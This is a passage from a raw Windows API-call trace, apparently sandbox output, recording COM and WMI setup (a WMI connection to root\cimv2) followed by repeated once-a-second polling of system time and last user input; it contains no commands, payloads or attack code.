riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x568eda8 | out: ppv=0x568eda8*=0x573dc58) returned 0x0 [0189.631] WbemLocator:IWbemLocator:ConnectServer (in: This=0x573dc58, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x568edf4 | out: ppNamespace=0x568edf4*=0x573dd7c) returned 0x0 [0189.673] WbemLocator:IUnknown:QueryInterface (in: This=0x573dd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568ecc4 | out: ppvObject=0x568ecc4*=0x5fc1cc) returned 0x0 [0189.673] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5fc1cc, pProxy=0x573dd7c, pAuthnSvc=0x568ed0c, pAuthzSvc=0x568ed08, pServerPrincName=0x568ed18, pAuthnLevel=0x568ed10, pImpLevel=0x568ecfc, pAuthInfo=0x568ed00, pCapabilites=0x568ed04 | out: pAuthnSvc=0x568ed0c*=0xa, pAuthzSvc=0x568ed08*=0x0, pServerPrincName=0x568ed18, pAuthnLevel=0x568ed10*=0x6, pImpLevel=0x568ecfc*=0x2, pAuthInfo=0x568ed00, pCapabilites=0x568ed04*=0x1) returned 0x0 [0189.674] WbemLocator:IUnknown:Release (This=0x5fc1cc) returned 0x1 [0189.674] WbemLocator:IUnknown:QueryInterface (in: This=0x573dd7c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568ecb8 | out: ppvObject=0x568ecb8*=0x5fc1ec) returned 0x0 [0189.674] WbemLocator:IUnknown:QueryInterface (in: This=0x573dd7c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568ecb4 | out: ppvObject=0x568ecb4*=0x5fc1cc) returned 0x0 [0189.674] WbemLocator:IClientSecurity:SetBlanket (This=0x5fc1cc, pProxy=0x573dd7c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.674] WbemLocator:IUnknown:Release (This=0x5fc1cc) returned 0x2 [0189.674] WbemLocator:IUnknown:Release (This=0x5fc1ec) returned 0x1 [0189.674] CoTaskMemFree (pv=0x5c9c50) [0189.674] WbemLocator:IUnknown:Release (This=0x573dc58) returned 0x0 [0189.674] WbemLocator:IUnknown:QueryInterface (in: This=0x573dd7c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568e674 | out: ppvObject=0x568e674*=0x5fc1ec) returned 0x0 [0189.674] WbemLocator:IUnknown:QueryInterface (in: This=0x5fc1ec, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x568e630 | out: ppvObject=0x568e630*=0x0) returned 0x80004002 [0189.675] WbemLocator:IUnknown:QueryInterface (in: This=0x5fc1ec, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x568e524 | out: ppvObject=0x568e524*=0x0) returned 0x80004002 [0189.675] WbemLocator:IUnknown:AddRef (This=0x5fc1ec) returned 0x3 [0189.675] CoGetContextToken (in: pToken=0x568e4bc | out: pToken=0x568e4bc) returned 0x0 [0189.675] WbemLocator:IUnknown:QueryInterface (in: This=0x5fc1ec, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568e4a4 | out: ppvObject=0x568e4a4*=0x5fc14c) returned 0x0 [0189.675] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x5fc14c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x568e4ac | out: pCid=0x568e4ac*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.675] WbemLocator:IUnknown:Release (This=0x5fc14c) returned 0x3 [0189.676] CoGetContextToken (in: pToken=0x568e4b4 | out: pToken=0x568e4b4) returned 0x0 [0189.676] WbemLocator:IUnknown:AddRef (This=0x5fc1ec) returned 0x4 [0189.676] WbemLocator:IUnknown:QueryInterface (in: This=0x5fc1ec, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568e528 | out: ppvObject=0x568e528*=0x5fc1d4) returned 0x0 [0189.676] WbemLocator:IUnknown:Release (This=0x5fc1ec) returned 0x4 [0189.676] WbemLocator:IRpcOptions:Query (in: This=0x5fc1d4, pPrx=0x5fc1ec, dwProperty=2, pdwValue=0x568e54c | out: pdwValue=0x568e54c) returned 0x80004002 [0189.676] WbemLocator:IUnknown:Release (This=0x5fc1d4) returned 0x3 [0189.676] WbemLocator:IUnknown:Release (This=0x5fc1ec) returned 0x2 [0189.676] CoGetContextToken (in: pToken=0x568e928 | out: pToken=0x568e928) returned 0x0 [0189.676] CoGetContextToken (in: pToken=0x568e8e8 | out: pToken=0x568e8e8) returned 0x0 [0189.676] WbemLocator:IUnknown:AddRef (This=0x5fc1ec) returned 0x3 [0189.676] WbemLocator:IUnknown:QueryInterface (in: This=0x5fc1ec, riid=0x568e964*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x568e960 | out: ppvObject=0x568e960*=0x573dd7c) returned 0x0 [0189.676] WbemLocator:IUnknown:Release (This=0x5fc1ec) returned 0x3 [0189.676] WbemLocator:IUnknown:Release (This=0x573dd7c) returned 0x2 [0189.677] WbemLocator:IUnknown:Release (This=0x573dd7c) returned 0x1 [0189.677] CoUninitialize () Thread: id = 209 os_tid = 0x748 Thread: id = 210 os_tid = 0x74c [0189.689] CoGetContextToken (in: pToken=0x569f250 | out: pToken=0x569f250) returned 0x0 [0189.689] CoGetContextToken (in: pToken=0x569f240 | out: pToken=0x569f240) returned 0x0 [0189.689] CoGetMarshalSizeMax (in: pulSize=0x569f20c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5fc1ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x569f20c) returned 0x0 [0189.689] CoMarshalInterface (pStm=0x5f46e8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5fc1ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 211 os_tid = 0x324 [0206.541] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0206.583] CoUninitialize () Thread: id = 212 os_tid = 0x654 [0206.552] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0206.617] CoUninitialize () Thread: id = 213 os_tid = 0x6d8 [0206.615] CoGetContextToken (in: pToken=0x5a8f948 | out: pToken=0x5a8f948) returned 0x0 [0206.615] IUnknown:QueryInterface (in: This=0x599460, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5a8f97c | out: ppvObject=0x5a8f97c*=0x59946c) returned 0x0 [0206.615] IComThreadingInfo:GetCurrentThreadType (in: This=0x59946c, pThreadType=0x5a8f9b0 | out: pThreadType=0x5a8f9b0*=0) returned 0x0 [0206.615] IUnknown:Release (This=0x59946c) returned 0x1 [0206.615] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 214 os_tid = 0x7f4 [0207.643] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0207.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x39b1d210, dwHighDateTime=0x1d56bd6)) [0207.663] GetLastInputInfo (in: plii=0x25c8bcc | out: plii=0x25c8bcc) returned 1 [0208.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3a4c8b70, dwHighDateTime=0x1d56bd6)) [0208.649] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0209.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3ae744d0, dwHighDateTime=0x1d56bd6)) [0209.663] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0210.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3b81fe30, dwHighDateTime=0x1d56bd6)) [0210.678] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0211.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3c1cb790, dwHighDateTime=0x1d56bd6)) [0211.707] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0212.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3cb770f0, dwHighDateTime=0x1d56bd6)) [0212.735] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0213.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3d522a50, dwHighDateTime=0x1d56bd6)) [0213.735] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0214.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3dece3b0, dwHighDateTime=0x1d56bd6)) [0214.749] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0215.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3e879d10, dwHighDateTime=0x1d56bd6)) [0215.763] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0216.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3f225670, dwHighDateTime=0x1d56bd6)) [0216.777] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0217.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x3fbd0fd0, dwHighDateTime=0x1d56bd6)) [0217.791] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0218.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4057c930, dwHighDateTime=0x1d56bd6)) [0218.805] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0219.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x40f28290, dwHighDateTime=0x1d56bd6)) [0219.819] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0220.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x418d3bf0, dwHighDateTime=0x1d56bd6)) [0220.833] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0221.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4227f550, dwHighDateTime=0x1d56bd6)) [0221.847] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0222.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x42c2aeb0, dwHighDateTime=0x1d56bd6)) [0222.861] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0223.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x435d6810, dwHighDateTime=0x1d56bd6)) [0223.876] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0224.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x43f82170, dwHighDateTime=0x1d56bd6)) [0224.889] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0225.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4492dad0, dwHighDateTime=0x1d56bd6)) [0225.904] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0226.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x452d9430, dwHighDateTime=0x1d56bd6)) [0226.920] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0227.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x45c84d90, dwHighDateTime=0x1d56bd6)) [0227.931] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0228.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x466306f0, dwHighDateTime=0x1d56bd6)) [0228.945] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0229.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x46fdc050, dwHighDateTime=0x1d56bd6)) [0229.959] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0230.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x479879b0, dwHighDateTime=0x1d56bd6)) [0230.973] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0231.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x48333310, dwHighDateTime=0x1d56bd6)) [0231.987] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0233.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x48cdec70, dwHighDateTime=0x1d56bd6)) [0233.001] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0234.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4968a5d0, dwHighDateTime=0x1d56bd6)) [0234.015] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0235.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4a035f30, dwHighDateTime=0x1d56bd6)) [0235.029] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0236.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4a9e1890, dwHighDateTime=0x1d56bd6)) [0236.043] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0237.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4b38d1f0, dwHighDateTime=0x1d56bd6)) [0237.057] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0238.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4bd38b50, dwHighDateTime=0x1d56bd6)) [0238.071] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0239.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4c6e44b0, dwHighDateTime=0x1d56bd6)) [0239.085] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0240.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4d08fe10, dwHighDateTime=0x1d56bd6)) [0240.104] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0241.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4da3b770, dwHighDateTime=0x1d56bd6)) [0241.117] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0242.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4e3e70d0, dwHighDateTime=0x1d56bd6)) [0242.127] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0243.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4ed92a30, dwHighDateTime=0x1d56bd6)) [0243.141] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0244.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x4f73e390, dwHighDateTime=0x1d56bd6)) [0244.155] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0245.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x500e9cf0, dwHighDateTime=0x1d56bd6)) [0245.169] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0246.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x50a95650, dwHighDateTime=0x1d56bd6)) [0246.183] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0247.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x51440fb0, dwHighDateTime=0x1d56bd6)) [0247.197] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0248.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x51dec910, dwHighDateTime=0x1d56bd6)) [0248.211] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0249.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x52798270, dwHighDateTime=0x1d56bd6)) [0249.225] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0250.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x53143bd0, dwHighDateTime=0x1d56bd6)) [0250.239] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0251.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x53aef530, dwHighDateTime=0x1d56bd6)) [0251.253] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0252.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5449ae90, dwHighDateTime=0x1d56bd6)) [0252.267] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0253.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x54e467f0, dwHighDateTime=0x1d56bd6)) [0253.281] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0254.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x557f2150, dwHighDateTime=0x1d56bd6)) [0254.295] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0255.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5619dab0, dwHighDateTime=0x1d56bd6)) [0255.309] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0256.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x56b49410, dwHighDateTime=0x1d56bd6)) [0256.323] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0257.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x574f4d70, dwHighDateTime=0x1d56bd6)) [0257.337] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0258.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x57ea06d0, dwHighDateTime=0x1d56bd6)) [0258.351] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0259.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5884c030, dwHighDateTime=0x1d56bd6)) [0259.365] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0260.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x591f7990, dwHighDateTime=0x1d56bd6)) [0260.379] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0261.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x59ba32f0, dwHighDateTime=0x1d56bd6)) [0261.393] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0262.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5a54ec50, dwHighDateTime=0x1d56bd6)) [0262.407] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0263.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5aefa5b0, dwHighDateTime=0x1d56bd6)) [0263.421] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0264.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5b8a5f10, dwHighDateTime=0x1d56bd6)) [0264.435] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0265.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5c251870, dwHighDateTime=0x1d56bd6)) [0265.451] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0266.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5cbfd1d0, dwHighDateTime=0x1d56bd6)) [0266.463] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0267.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5d5a8b30, dwHighDateTime=0x1d56bd6)) [0267.477] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0268.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5df54490, dwHighDateTime=0x1d56bd6)) [0268.491] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0269.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5e8ffdf0, dwHighDateTime=0x1d56bd6)) [0269.506] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0270.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: 